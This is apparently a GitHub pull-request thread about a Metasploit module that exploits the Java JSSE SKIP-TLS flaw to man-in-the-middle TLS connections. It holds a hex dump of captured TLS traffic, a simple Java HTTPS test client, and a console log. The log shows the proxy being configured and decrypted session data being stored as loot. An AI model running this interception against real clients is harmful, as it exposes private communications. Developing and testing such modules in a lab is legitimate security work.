00001d60  8c 2a 73 5c 42 14 4e 4d  38 38 07 7e 18 8d bb c5  |.*s\B.NM88.~....|
00001d70  30 86 11 2d 09 4a c9 53  32 fb 23 e2 07 0b 9f 11  |0..-.J.S2.#.....|
00001d80  c9 c0 e6 40 9d 96 3d 4d  70 5a 04 e9 a3 28 bb 95  |...@..=MpZ...(..|
00001d90  c9 f3 b4 43 36 11 fe c3  7e b4 9f ad 58 ec 0a 15  |...C6...~...X...|
00001da0  29 11 fb 0b 86 12 a8 0a  60 fe 8a 15 30 45 0d f6  |).......`...0E..|
00001db0  a4 ea 9f d7 25 7f e7 fc  65 ba f9 6c dc fe 35 8a  |....%...e..l..5.|
00001dc0  e7 db ab 6b 3e 15 61 72  96 f2 5f fe 84 27 fa 1a  |...k>.ar.._..'..|
00001dd0  b0 4b 6c 54 8b c9 5e db  a8 1c 15 ae cb df c9 6d  |.KlT..^........m|
00001de0  33 37 2c df 38 21 9f f1  c2 b8 5a ef 48 44 27 9f  |37,.8!....Z.HD'.|
00001df0  87 88 a5 e6 69 17 27 16  f1 58 7a c6 44 4b 85 0a  |....i.'..Xz.DK..|
00001e00  fe f8 ae 17 fd 3a ef 19  ed 34 53 5b 1b 08 1a 08  |.....:...4S[....|
00001e10  bf 89 8e b0 15 d4 e4 07  81 3e 2b 8c 7f e3 2b 0a  |.........>+...+.|
00001e20  ac 11 5f 24 88 da b1 1a  e4 4b ae ac fe 42 94 91  |.._$.....K...B..|
00001e30  5b 64 63 a0 69 37 8e 58  51 78 1c 10 e9 c9 2f 5e  |[dc.i7.XQx..../^|
00001e40  a4 e5 50 bd 8a 0b 90 a3  65 e8 0c 78 3c 3e b1 8d  |..P.....e..x<>..|
00001e50  eb 42 5d 00 ce 9d 5e f8  79 8e d6 35 15 21 ac 53  |.B]...^.y..5.!.S|
00001e60  b3 fd 72 ca f8 d3 f1 a2  ae fa c8 fb aa 7b 2d 7a  |..r..........{-z|
00001e70  88 1e 8b cf be f0 37 2d  06 85 c6 57 af 5c 27 e1  |......7-...W.\'.|
00001e80  15 8e b0 1d 96 c2 a1 ad  ed 8f 42 76 a2 e1 d5 f6  |..........Bv....|
00001e90  9a 6a 4f 0a 6d a1 43 ca  39 d4 2a 14 29 45 b5 8b  |.jO.m.C.9.*.)E..|
00001ea0  69 73 57 d6 ce 9c 4a 4f  04 c5 88 97 fe b1 61 ba  |isW...JO......a.|
00001eb0  3b e6 e8 1a 7d 15 9b 2d  0b 9c af 3c 7a 4d ce 03  |;...}..-...<zM..|
00001ec0  d7 92 38 bd 7e a8 a8 54  82 ed 95 a5 fc f9 65 8c  |..8.~..T......e.|
00001ed0  c7 c7 36 33 ea 75 11 cb  c9 2e 05 a8 fd 6c 01 93  |..63.u.......l..|
00001ee0  3c 91 ba 53 3c 4e c4 10  55 f7 4e 20 e9 a3 2b f3  |<..S<N..U.N ..+.|
00001ef0  43 2d 75 b9 b7 bf 68 fc  1b 88 44 af e7 c8 9e 19  |C-u...h...D.....|
00001f00  72 0e cd 03 fa a2 76 aa  fc f2 0c f8 a9 51 9f a8  |r.....v......Q..|
00001f10  ae 22 fc 7a db db 90 6b  c9 af ff 8d 58 b3 44 34  |.".z...k....X.D4|
00001f20  ba 21 a1 af db 49 6d 21  aa de c1 d8 d9 91 a2 26  |.!...Im!.......&|
00001f30  6c 5b e0 ea d0 3c ce de  49 97 52 c9 a4 25 02 a2  |l[...<..I.R..%..|
00001f40  c0 9c cd bf 15 92 e8 1d  6f ba f7 46 5e e7 09 ba  |........o..F^...|
00001f50  53 3d c0 29 7d d3 71 6e  df 37 4c 72 04 fc 54 71  |S=.)}.qn.7Lr..Tq|
00001f60  36 38 22 33 9d 04 e1 0f  10 d2 83 6d 35 d4 3f 6a  |68"3.......m5.?j|
00001f70  a7 ab 2e 2f 90 d4 3d 0f  2c fb 6f 25 7d fc 18 48  |.../..=.,.o%}..H|
00001f80  00 66 8a eb 24 29 9f 9c  a9 9a 8b 98 ee 01 d4 4f  |.f..$).........O|
00001f90  a0 a1 9a 63 6d 08 6e eb  ef 7e 91 91 fa 4f 77 6e  |...cm.n..~...Own|
00001fa0  7f 99 24 ba 7c 1a 44 68  2d bb 17 4c 62 e2 15 83  |..$.|.Dh-..Lb...|
00001fb0  65 57 79 93 20 5c 38 68  ed 4d 6e 07 43 7a 15 e9  |eWy. \8h.Mn.Cz..|
00001fc0  9d 11 3a fc 52 d9 53 16  fd ef 56 da 17 37 d1 f2  |..:.R.S...V..7..|
00001fd0  9e 54 be 9e a6 62 11 7b  05 ae 58 08 cb 8b f3 2d  |.T...b.{..X....-|
00001fe0  7f 14 77 80 f3 5e 9b 6d  53 bc f7 26 c8 2f c6 3e  |..w..^.mS..&./.>|
00001ff0  45 e4 34 74 ad 2f 8b 78  bb 66 54 62 6a 9c b8 a0  |E.4t./.x.fTbj...|
00002000  95 0e 67 0e 35 a7 3a ff  1e 3d e1 92 3d d1 88 65  |..g.5.:..=..=..e|
00002010  8d 0c 08 fc 99 df 8f 9d  ec 42 d3 bd 98 72 4b ad  |.........B...rK.|
00002020  8e c7 73 19 0f 21 04 ec  ad d9 43 c4 db 0d ab 0f  |..s..!....C.....|
00002030  88 95 fd 8c 37 6d b1 4c  8d eb 9f 02 a0 30 f4 f8  |....7m.L.....0..|
00002040  c8 d4 ba d6 5a d5 02 0b  11 6d 51 ad 33 57 83 2e  |....Z....mQ.3W..|
00002050  29 50 ee a1 43 87 ac 73  ba 45 dd e5 3c d4 4d b0  |)P..C..s.E..<.M.|
00002060  b4 00 46 6f d8 d7 01 42  eb 5b 38 da d0 0a 68 bf  |..Fo...B.[8...h.|
00002070  f0 1e 58 3d a3 1f 44 65  19 fa f3 ce c4 ee 3a 9f  |..X=..De......:.|
00002080  c1 28 ef ba bc 4b bc a8  f8 85 4c f9 6c 09 3a 96  |.(...K....L.l.:.|
00002090  1d f1 90 8f 71 d3 72 73  96 ce 3b de 35 e2 d2 18  |....q.rs..;.5...|
000020a0  7d 10 e3 8e 74 41 b4 d9  dd f7 bd f9 f4 ba 32 4d  |}...tA........2M|
000020b0  cf 4c 3d 55 54 8b 18 0d  d6 4b 41 86 1d 4d e9 0a  |.L=UT....KA..M..|
000020c0  3e 88 db b8 51 42 fd b2  39 eb 68 2e e8 b1 65 d0  |>...QB..9.h...e.|
000020d0  ae ef 00 17 03 01 05 5a  3e bb 00 16 b4 6a 05 36  |.......Z>....j.6|
000020e0  ff 07 16 bf 7f 8d f3 be  f2 a4 85 16 07 86 f1 1b  |................|
000020f0  50 c4 78 34 08 45 8b 89  19 a0 56 ef 27 04 04 2d  |P.x4.E....V.'..-|
00002100  70 9e af 26 85 e4 3c b7  e0 83 32 3e d7 d6 95 c9  |p..&..<...2>....|
00002110  3e 4f 27 58 49 98 8a 42  94 4f 7f 64 cd 0a da 49  |>O'XI..B.O.d...I|
00002120  44 1f 01 25 62 c4 97 ca  4a 4f f1 89 ac f6 9b bf  |D..%b...JO......|
00002130  25 f1 b2 cf c3 a6 53 59  a9 e2 25 d4 2a 9c 6f 54  |%.....SY..%.*.oT|
00002140  01 d2 69 0c 53 38 cd 77  c5 97 c3 94 fd 63 4b 97  |..i.S8.w.....cK.|
00002150  29 b2 d3 01 10 6b e5 bf  6c fa 81 51 49 ce e5 4a  |)....k..l..QI..J|
00002160  3a f4 4a b1 35 c8 5a 0f  08 f9 24 42 e5 5f 36 4a  |:.J.5.Z...$B._6J|
00002170  cf ed 82 a5 42 fd 98 04  c1 93 f2 78 54 75 a0 7a  |....B......xTu.z|
00002180  5f 30 07 c3 c1 33 0d 00  d4 ba 10 4f cc 4b 2d 7d  |_0...3.....O.K-}|
00002190  1a 56 fe 77 86 e9 1d 0e  99 97 8d 11 a8 72 3b 6a  |.V.w.........r;j|
000021a0  fc 5a d4 63 ed 36 af 17  cf 9b 57 05 f0 4c f2 50  |.Z.c.6....W..L.P|
000021b0  10 01 fd 52 df 0d 83 f2  a7 90 74 a7 70 71 23 2d  |...R......t.pq#-|
000021c0  51 20 09 a4 c0 5b c7 c2  90 08 45 4f 21 10 0c 73  |Q ...[....EO!..s|
000021d0  e2 88 e9 6a 28 7b 83 f3  d7 a0 2d cb 8d 2c cc 10  |...j({....-..,..|
000021e0  cb c3 b4 bd ec d2 c2 b1  87 19 64 2e 7d 9c ef d1  |..........d.}...|
000021f0  b7 6c 42 f7 9a 0a b4 a4  25 54 fc 1e be 7f 85 4a  |.lB.....%T.....J|
00002200  97 c7 1c ec 4f 59 b6 67  ab 86 43 eb a2 b2 2d df  |....OY.g..C...-.|
00002210  b9 6f 8b 47 16 8e 59 c3  ce 89 cf cf c1 d9 62 29  |.o.G..Y.......b)|
00002220  9f a4 3a 2d 69 03 2b e3  e1 78 65 35 f6 9c 87 41  |..:-i.+..xe5...A|
00002230  a1 d9 7f e7 a2 b9 de 5b  ac 55 d8 c5 67 fb 1f 3b  |.......[.U..g..;|
00002240  85 55 03 32 ea bb 93 b6  b2 84 46 8c e2 9d 5b b5  |.U.2......F...[.|
00002250  7a 27 a1 f7 7c 8d 5f d5  50 61 34 53 98 96 a6 8a  |z'..|._.Pa4S....|
00002260  80 0f 7c 8b 9a 9e 46 6a  c4 b3 6b b4 c3 95 37 4f  |..|...Fj..k...7O|
00002270  38 c0 b8 af bb c1 fd f5  03 37 2f b2 71 3f 53 88  |8........7/.q?S.|
00002280  6c 98 35 dd 5d 75 ac 2a  9f b4 c6 43 a7 45 d5 47  |l.5.]u.*...C.E.G|
00002290  a7 47 61 bb ff 79 7f 81  83 3c da 3d 7c 77 b2 c2  |.Ga..y...<.=|w..|
000022a0  90 ab fa 2e 4e 92 f3 ab  fb b2 b4 16 a6 26 f7 23  |....N........&.#|
000022b0  da d1 39 4c ee 55 c1 27  a1 00 5d 36 fd 09 98 26  |..9L.U.'..]6...&|
000022c0  0c 8a d5 0c 5c 62 c5 35  0a 11 d1 fb 2f 38 08 0d  |....\b.5..../8..|
000022d0  9d bc 78 a1 47 bb 31 e4  7b 3d 65 b8 ff 35 45 c1  |..x.G.1.{=e..5E.|
000022e0  4e 2f b6 81 52 47 75 73  7d ea 90 ac a4 b4 25 26  |N/..RGus}.....%&|
000022f0  2e 97 95 79 b6 d1 79 87  d8 61 ee b4 fe d6 23 8f  |...y..y..a....#.|
00002300  17 5f 03 29 c2 b2 e6 58  2c 8c 22 89 b2 35 d4 dc  |._.)...X,."..5..|
00002310  e1 b8 40 89 ea 26 2e a5  64 6d 3e 8a 65 0c 79 d5  |..@..&..dm>.e.y.|
00002320  64 2e de 60 8a 39 92 69  c5 32 95 76 15 25 8f 69  |d..`.9.i.2.v.%.i|
00002330  ba b8 13 4b 5c 6e cd 20  c4 1b 5f b7 b3 f6 7d 15  |...K\n. .._...}.|
00002340  0c ce 67 71 5f ee 68 19  b2 77 64 7d 24 4d 12 59  |..gq_.h..wd}$M.Y|
00002350  43 dc a9 0c ac 77 4a 7b  c3 53 d5 7c 7a 76 a1 3d  |C....wJ{.S.|zv.=|
00002360  6d 3f 42 24 e3 73 e6 b5  da 27 d1 c1 a8 46 fc 9a  |m?B$.s...'...F..|
00002370  84 d4 d7 5b 2b a7 33 04  ef d2 dd 22 95 27 de b1  |...[+.3....".'..|
00002380  0c 9e 6c 6b eb 47 33 4f  cc a3 29 1a 4e 75 63 7b  |..lk.G3O..).Nuc{|
00002390  3c 01 8f ba 76 64 40 27  2c 72 5e 67 ca 0a 3c e1  |<...vd@',r^g..<.|
000023a0  6f 94 66 94 9a 59 6b f1  20 8e cb 98 16 39 2f c1  |o.f..Yk. ....9/.|
000023b0  9c ab e8 27 75 27 41 1a  93 1c 14 76 3c ec 97 fe  |...'u'A....v<...|
000023c0  d0 68 60 d7 5a 43 d6 05  09 4a fc 68 2e 5b d7 98  |.h`.ZC...J.h.[..|
000023d0  eb 00 62 ba 60 4a 96 4a  56 77 30 c4 fd 24 d8 d7  |..b.`J.JVw0..$..|
000023e0  bd 64 6e af a8 de 92 83  39 01 75 30 e8 7a 83 38  |.dn.....9.u0.z.8|
000023f0  ba 37 12 53 af 72 03 74  91 65 74 48 be 8f c3 9d  |.7.S.r.t.etH....|
00002400  ee 99 a4 f0 1b 22 27 07  07 4c 02 3c a4 d1 77 a9  |....."'..L.<..w.|
00002410  63 2f c2 d0 64 ce 32 3d  8a d8 d0 8d 8e 5b d7 90  |c/..d.2=.....[..|
00002420  b6 58 83 0f 22 01 cf f0  71 04 6c 47 6a ac 5d de  |.X.."...q.lGj.].|
00002430  34 2b 24 0c 7d e5 93 69  89 b3 a3 22 14 4f 51 18  |4+$.}..i...".OQ.|
00002440  a7 33 a9 50 f1 52 34 a9  0a 3d e4 f9 d3 c8 b3 4a  |.3.P.R4..=.....J|
00002450  0e 82 13 f4 4d 62 ec c3  05 94 76 5e 48 52 6a 45  |....Mb....v^HRjE|
00002460  4b 49 1f b0 8a a3 be c4  59 af 34 9a ef db b4 7a  |KI......Y.4....z|
00002470  4b 1a 6a 57 cb f5 51 14  23 48 9a 85 1e d8 03 7c  |K.jW..Q.#H.....||
00002480  dd 02 42 5a bb 8e b7 f9  ae 13 79 28 2f 3f af 7a  |..BZ......y(/?.z|
00002490  c0 be 2f c7 e7 30 96 b8  c6 93 59 74 e4 20 6d 1d  |../..0....Yt. m.|
000024a0  3f 8a 66 4b 1e 63 fd e4  ee a3 a6 70 bc 13 8f 57  |?.fK.c.....p...W|
000024b0  db 29 bf 48 ae fb 49 12  c5 9f 40 75 8b 66 18 cd  |.).H..I...@u.f..|
000024c0  09 2d a7 a0 f4 63 46 f3  b1 1c 9a df e9 b4 87 65  |.-...cF........e|
000024d0  9f 2f c9 5e 17 69 31 45  26 01 06 b6 bb 26 98 37  |./.^.i1E&....&.7|
000024e0  71 2a 6e a8 18 eb cd 18  97 d7 7e 1e cf 10 b7 be  |q*n.......~.....|
000024f0  38 6f 0b 19 c0 f1 a1 24  30 34 7c 84 31 df d2 6b  |8o.....$04|.1..k|
00002500  6f 99 ff 6e c6 6c 21 50  06 0e a0 45 d4 90 80 5c  |o..n.l!P...E...\|
00002510  a0 23 bc c1 77 6f fc 32  a2 e3 47 9c c8 10 ba 97  |.#..wo.2..G.....|
00002520  b7 7b e3 2e 77 0c 7e 9b  82 c8 4e 02 b8 48 3a a9  |.{..w.~...N..H:.|
00002530  ca e7 53 a2 5e 13 9c 50  37 bf 96 b8 e5 74 23 25  |..S.^..P7....t#%|
00002540  67 f0 77 a9 97 8f 75 ab  d1 b2 9d aa 98 de fd e8  |g.w...u.........|
00002550  ec 63 5d 59 c5 e5 32 07  c8 31 79 5f 74 bd 10 2c  |.c]Y..2..1y_t..,|
00002560  b3 61 9a dd 66 91 08 e0  ad a3 cb 6e a0 a0 7c 8b  |.a..f......n..|.|
00002570  2a e7 b2 f1 3c 6d 74 97  09 1a e6 9f 18 d1 59 fc  |*...<mt.......Y.|
00002580  ec e1 58 4e ff 04 70 36  1c 4e 80 71 69 d9 96 d6  |..XN..p6.N.qi...|
00002590  0a 9a a7 da 66 74 ed a6  fc cf a2 e9 39 41 c5 29  |....ft......9A.)|
000025a0  b0 f4 d4 8f 21 0a 7f 08  17 01 08 53 42 da 75 f7  |....!......SB.u.|
000025b0  fd 76 74 b8 7f f6 26 e1  c1 ed 48 fe 11 86 29 74  |.vt...&...H...)t|
000025c0  f7 43 30 50 e6 c8 bb 09  73 c6 76 62 86 28 0b d0  |.C0P....s.vb.(..|
000025d0  f6 48 53 b0 16 01 21 bb  ed 00 da 3b c9 dc 52 02  |.HS...!....;..R.|
000025e0  55 18 54 3d 6e f7 57 ed  4e 83 8a 18 e9 b1 19 dd  |U.T=n.W.N.......|
000025f0  d5 00 27 4c f4 e8 4b fc  eb 3f 4e f3 c0 79 75 83  |..'L..K..?N..yu.|
00002600  e1 8a ad fa 52 6c 01 54  87 31 37 aa a8 d1 73 27  |....Rl.T.17...s'|
00002610  18 41 b3 6a 8b 6c ca d1  b8 2c c2 04 a3 ea ae bf  |.A.j.l...,......|
00002620  a8 bd 93 1e fb 12 ea 9f  6d 77 a7 62 cf bb 77 a0  |........mw.b..w.|
00002630  42 df 17 03 01 05 5a f0  14 a0 76 59 9d 92 a8 36  |B.....Z...vY...6|
00002640  49 66 09 47 66 08 85 70  ad 3e 60 6c 7f 8e c2 14  |If.Gf..p.>`l....|
00002650  25 82 67 58 62 04 25 01  6c e2 0c b6 12 3e c2 90  |%.gXb.%.l....>..|
00002660  04 61 c8 44 05 7c 1f 16  54 f4 ec bc d4 7e b4 70  |.a.D.|..T....~.p|
00002670  dc 63 c0 cb 5c 62 ea 63  d8 98 04 4d c5 1b cc 80  |.c..\b.c...M....|
00002680  5a 12 f0 ed 63 af 91 67  af c6 8d db 2d 79 8d c8  |Z...c..g....-y..|
00002690  ad fe a2 5a 8c d2 58 7f  c1 8e 09 ce 66 aa 6e 71  |...Z..X.....f.nq|
000026a0  ce 5f c0 2c 61 0b 23 74  18 27 37 6c 70 27 de 3d  |._.,a.#t.'7lp'.=|
000026b0  f7 b3 2e 84 a5 cf 2b 5d  12 85 a0 80 aa 6b 4d 11  |......+].....kM.|
000026c0  bb 34 7d 44 8e f9 d7 7b  4a 7e f2 a7 83 5b 6f e5  |.4}D...{J~...[o.|
000026d0  f1 81 cd 57 fc c5 d1 84  4a ce 47 0d 1d f3 c0 39  |...W....J.G....9|
000026e0  8a b3 0d 12 f6 30 c0 58  d1 23 49 1c 54 62 3e d8  |.....0.X.#I.Tb>.|
000026f0  d2 40 1d 4a f4 9a 12 87  7c 10 42 70 e4 86 45 f0  |.@.J....|.Bp..E.|
00002700  a8 22 c9 ae cd 59 e1 70  0e 4a 15 9f 94 93 b2 49  |."...Y.p.J.....I|
00002710  cf 34 7a cf 95 a8 63 14  8a c0 e6 f8 fc ec b9 74  |.4z...c........t|
00002720  d1 8d c2 d4 c7 be 69 9a  50 0e 22 1b cb 96 52 75  |......i.P."...Ru|
00002730  d6 02 c7 c3 6a 12 fc 85  60 07 a3 06 82 45 f9 ee  |....j...`....E..|
00002740  21 ec 17 f1 a3 f9 52 62  84 43 2b d8 b7 d2 ea 8c  |!.....Rb.C+.....|
00002750  da fd 5c 38 1d da 66 e5  65 0e 52 c8 05 13 74 c1  |..\8..f.e.R...t.|
00002760  5c 78 70 b4 98 eb 93 72  e4 b4 f9 b4 4d 08 e8 29  |\xp....r....M..)|
00002770  40 1a e8 ae 65 46 fc 11  11 e4 cb bc dc 99 6f 57  |@...eF........oW|
00002780  72 ab 3a 58 1b 1c a9 d8  24 3c ff 82 59 df 3a 6b  |r.:X....$<..Y.:k|
00002790  56 3d 23 c9 ab 77 07 91  52 9d 3e 86 d6 36 d0 3c  |V=#..w..R.>..6.<|
000027a0  ab 1a b5 18 7a 44 61 b5  cd 51 a4 1e ca 1b 0a a9  |....zDa..Q......|
000027b0  01 37 97 79 2b e4 1b bf  25 e5 1a bf 55 b8 ff 92  |.7.y+...%...U...|
000027c0  5c 79 38 34 6c 24 f2 3c  f6 b7 5c 50 c0 1b 90 6a  |\y84l$.<..\P...j|
000027d0  b7 61 e6 87 6b cf 41 85  36 28 bc e0 dc fa 23 b2  |.a..k.A.6(....#.|
000027e0  81 24 fb 33 52 73 d7 e4  cb 02 88 02 2b 5f 8d a2  |.$.3Rs......+_..|
000027f0  b3 50 23 d2 aa 05 47 42  33 56 a8 ff f4 85 58 a7  |.P#...GB3V....X.|
00002800  2d 15 5d d8 96 98 54 d5  58 18 9e 99 fa 61 0b 44  |-.]...T.X....a.D|
00002810  80 e5 75 99 de 44 74 c2  56 cf e4 11 cc 7a 09 a8  |..u..Dt.V....z..|
00002820  fd f3 a2 49 b3 7d db d7  f3 c4 45 c7 31 b0 d8 83  |...I.}....E.1...|
00002830  bf 21 23 b3 a7 d4 8e 3b  f8 b6 65 65 f1 89 44 31  |.!#....;..ee..D1|
00002840  ca d7 3b 85 72 09 48 0a  df 3e cd 48 ba 70 cb d9  |..;.r.H..>.H.p..|
00002850  1d d7 f3 82 9e a2 d4 b6  e2 13 34 c6 9e 2b e5 2b  |..........4..+.+|
00002860  27 58 19 94 df f5 55 7d  69 bd a5 65 0c ad e6 7f  |'X....U}i..e....|
00002870  86 3b 2a c1 31 9c 8a c5  7e 52 3a e8 f6 44 7e 4a  |.;*.1...~R:..D~J|
00002880  cc cd 77 10 39 24 f0 97  b2 10 84 de 7a c1 88 d0  |..w.9$......z...|
00002890  36 c8 8e 98 79 2e 52 77  b5 f8 c1 dc 24 84 6f f0  |6...y.Rw....$.o.|
000028a0  98 2b 75 cb a7 aa 87 94  79 b8 70 1f 99 dc e0 25  |.+u.....y.p....%|
000028b0  0f 53 41 a8 15 2e 6f d8  55 f0 10 ca 21 09 94 f8  |.SA...o.U...!...|
000028c0  8b b0 96 24 33 ed 4b e9  f6 7a d9 31 f6 f6 38 0d  |...$3.K..z.1..8.|
000028d0  e7 ca 9d ee 76 98 d4 9d  98 9b 5b 1e de 2e dc 0d  |....v.....[.....|
000028e0  50 17 f5 81 88 83 37 5c  d1 77 5b 0c 95 33 43 d2  |P.....7\.w[..3C.|
000028f0  bd 82 45 c0 5c 76 c6 7c  58 95 10 d8 f5 65 01 78  |..E.\v.|X....e.x|
00002900  a1 4c 9c 90 f8 3c c0 10  8f c0 bf 49 d6 67 c5 79  |.L...<.....I.g.y|
00002910  18 80 df 67 b8 d2 58 b6  15 ca 8b e8 a3 b0 27 cb  |...g..X.......'.|
00002920  e2 dd 97 d9 c2 70 97 aa  aa 38 0d 3b ff bd 48 65  |.....p...8.;..He|
00002930  30 d2 aa 62 38 07 e6 a4  d1 45 a3 fb b7 8a b3 98  |0..b8....E......|
00002940  7d e6 b6 76 10 b2 ef f8  f0 37 ae 42 71 ed 71 d6  |}..v.....7.Bq.q.|
00002950  07 b1 49 48 cd 51 c2 2f  08 09 9c 47 88 ff 57 68  |..IH.Q./...G..Wh|
00002960  9f ee 7c 97 c9 f9 17 d8  f2 e1 a3 30 6d 7b 45 41  |..|........0m{EA|
00002970  55 a3 2f cf f3 5b 4d 4e  d1 31 8f 69 52 f4 6c 52  |U./..[MN.1.iR.lR|
00002980  6f 16 3a da b3 11 e3 8b  f8 f2 aa f4 3c 6b 4b 8a  |o.:.........<kK.|
00002990  60 0b 75 89 cc e0 9a 4a  36 6f 2f 74 8a ee ad 4c  |`.u....J6o/t...L|
000029a0  99 0e 95 8b 9c 92 69 33  11 fd 94 86 54 93 ba 72  |......i3....T..r|
000029b0  73 51 27 f8 d8 5a 3c a0  0f 36 81 7d 5f 3b 45 67  |sQ'..Z<..6.}_;Eg|
000029c0  6b 8a 2c 43 68 75 50 64  00 89 e7 14 93 c3 2c 36  |k.,ChuPd......,6|
000029d0  4a e1 2a f9 b9 38 4d 52  62 65 05 ba 19 5d 86 a7  |J.*..8MRbe...]..|
000029e0  00 66 ef bb bd e3 9c 58  d5 b4 30 6f 06 e0 ed 6a  |.f.....X..0o...j|
000029f0  4c 5a be 79 b7 c5 00 26  87 0e a7 cf d5 9d 64 bd  |LZ.y...&......d.|
00002a00  e2 2f 0f a7 e8 79 ae 6d  12 b2 a5 cf 6e 34 72 c5  |./...y.m....n4r.|
00002a10  bb 17 23 de 64 cb a3 ac  9d 12 56 11 b4 d3 28 f2  |..#.d.....V...(.|
00002a20  ec 8a 25 6d 60 f2 00 ce  b7 65 fa b6 a5 78 79 4a  |..%m`....e...xyJ|
00002a30  97 cb 50 f9 93 99 85 28  ea b5 c3 e8 44 fc 1f ee  |..P....(....D...|
00002a40  01 3e 94 da 95 87 28 6d  0c 16 6c 80 48 84 73 0e  |.>....(m..l.H.s.|
00002a50  2a 3f 14 d1 1f 05 45 d9  7d b4 96 3b 0a 6d 08 d3  |*?....E.}..;.m..|
00002a60  f1 4d 72 0a 1a 34 ed 2a  c0 50 b1 90 6e 69 6f 83  |.Mr..4.*.P..nio.|
00002a70  05 a0 9d c8 8c 5f 26 b0  84 8d c6 fd 34 af 27 ca  |....._&.....4.'.|
00002a80  c0 7c 63 67 ec a2 a7 d8  f7 95 3f 39 b2 ab bf a3  |.|cg......?9....|
00002a90  8e 47 4c 0b e8 4b 3d 7b  5c f4 f5 88 d0 a7 e8 56  |.GL..K={\......V|
00002aa0  55 5d ac 9f 0a 7d 3e fa  d6 05 d9 bc 3e 97 10 52  |U]...}>.....>..R|
00002ab0  db 7c 6b 66 01 99 0f da  e4 1e c0 66 ee f7 3f 99  |.|kf.......f..?.|
00002ac0  de 97 92 d2 0a d5 01 8a  69 0c e7 26 ef 3d d5 e2  |........i..&.=..|
00002ad0  64 81 2f 4b 7e 9c 65 8e  07 3a 51 a8 f8 32 f9 db  |d./K~.e..:Q..2..|
00002ae0  73 5a 50 58 06 57 d7 2b  c6 41 86 7e 92 06 f9 3e  |sZPX.W.+.A.~...>|
00002af0  22 9b 5a f0 d7 c3 d1 50  b8 37 11 76 50 da 30 b3  |".Z....P.7.vP.0.|
00002b00  96 8c 90 f4 e4 b8 16 80  33 c7 47 b5 64 cc 0f cf  |........3.G.d...|
00002b10  36 86 e6 da eb cb 72 ce  3e 31 56 2c ec e7 41 5b  |6.....r.>1V,..A[|
00002b20  3b 85 80 ac ae 8e 6d 6d  b4 e9 76 60 82 03 eb 5b  |;.....mm..v`...[|
00002b30  96 09 63 ca 5d 99 ab 13  fb fb 4e 4d 0b cd 24 4f  |..c.].....NM..$O|
00002b40  5a c4 66 d5 4d 59 88 6d  a3 52 f1 1b 41 e5 85 4f  |Z.f.MY.m.R..A..O|
00002b50  57 85 95 9f 2f 2f 19 31  84 07 8f cd fc 40 09 54  |W...//.1.....@.T|
00002b60  c2 c8 81 52 dc 2f f8 51  16 34 5c b8 57 e7 da 40  |...R./.Q.4\.W..@|
00002b70  8f 85 42 c7 00 b7 65 09  bd 3e 02 cf 11 0a 6c 9d  |..B...e..>....l.|
00002b80  f8 f4 b1 6e 84 4e f1 e8  97 64 96 03 83 ea 9d 34  |...n.N...d.....4|
00002b90  ab 17 03 01 00 57 b2 23  07 ae ef 81 2e 4f 81 91  |.....W.#.....O..|
00002ba0  60 03 3c 9c 6c 53 c7 4a  a0 57 30 a2 49 5d 53 98  |`.<.lS.J.W0.I]S.|
00002bb0  d6 1d 82 df 66 b3 4d 48  77 3e 59 1c e2 95 43 f4  |....f.MHw>Y...C.|
00002bc0  0f 13 39 01 b2 98 42 3a  b1 65 4c ef da 84 7c 79  |..9...B:.eL...|y|
00002bd0  58 5f fb fa 76 6d 93 b0  e3 da 83 9b a8 41 24 6b  |X_..vm.......A$k|
00002be0  a9 1d 3c 2d 80 dd e1 3d  55 51 21 0f cd 01 00     |..<-...=UQ!....|

@jvazquez-r7
Copy link
Contributor

Today I noticed I don't know how to copy and paste :) So pasting again the full source of the client I've used for testing. Hopefully this time the full code =)

import java.net.URL;
import java.net.MalformedURLException;
import java.io.IOException;
import javax.net.ssl.HttpsURLConnection;
import java.io.*;

class Main {
    public static void main(String[] args) throws MalformedURLException, IOException {
        System.out.println("Hello World!"); // Display the string.
    URL url;
    url = new URL("https://www.google.com");
    HttpsURLConnection con = (HttpsURLConnection)url.openConnection();
    System.out.println("Response Code : " + con.getResponseCode());
    print_content(con);
    System.out.println("Bye World!");
    }


    private static void print_content(HttpsURLConnection con){
    if(con!=null){

    try {

       System.out.println("****** Content of the URL ********");            
       BufferedReader br = 
        new BufferedReader(
            new InputStreamReader(con.getInputStream()));

       String input;

       while ((input = br.readLine()) != null){
          System.out.println(input);
       }
       br.close();

    } catch (IOException e) {
       e.printStackTrace();
    }

       }

   }

}

@jvazquez-r7 jvazquez-r7 merged commit 7bda1e4 into rapid7:master Aug 8, 2015
jvazquez-r7 added a commit that referenced this pull request Aug 8, 2015
@jvazquez-r7
Copy link
Contributor

Hi @rcvalle, after our chat (thanks again for the detailed explanations :)) I gave a second chance to the module. Did the necessary changes to use Rex sockets, some small fixes and now I can setup the mitm correctly =)

Please, feel free to check my changes in case I wasted something:
6fe7672
bb74b6f
a0eef38
2707b3b

Final version here: c8ba5bb

Test after changes (with the pasted Java client above):

msf > use auxiliary/server/jsse_skiptls_mitm_proxy
msf auxiliary(jsse_skiptls_mitm_proxy) > set HOST www.google.com
HOST => www.google.com
msf auxiliary(jsse_skiptls_mitm_proxy) > set SRVHOST 172.16.158.1
SRVHOST => 172.16.158.1
msf auxiliary(jsse_skiptls_mitm_proxy) > run
[*] Auxiliary module execution completed
msf auxiliary(jsse_skiptls_mitm_proxy) >
[*] Listening on 172.16.158.1:443
[*] Accepted connection from 172.16.158.134:56747
[*] Connected to www.google.com:443
[*] Connected to www.google.com:443
[*] 177 bytes received
[*] 177 bytes sent
[*] 98 bytes received
[*] 98 bytes sent
[*] 3076 bytes received
[*] 3076 bytes sent
[*] 336 bytes received
[*] 336 bytes sent
[*] 9 bytes received
[*] 21 bytes sent
[*] 158 bytes received
[*] 153 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 1329 bytes received
[*] 1334 bytes sent
[*] 827 bytes received
[*] 832 bytes sent
[+] SSL/TLS session application data successfully stored in /Users/jvazquez/.msf4/loot/20150808073950_default_172.16.158.134_tls.application__071922.bin

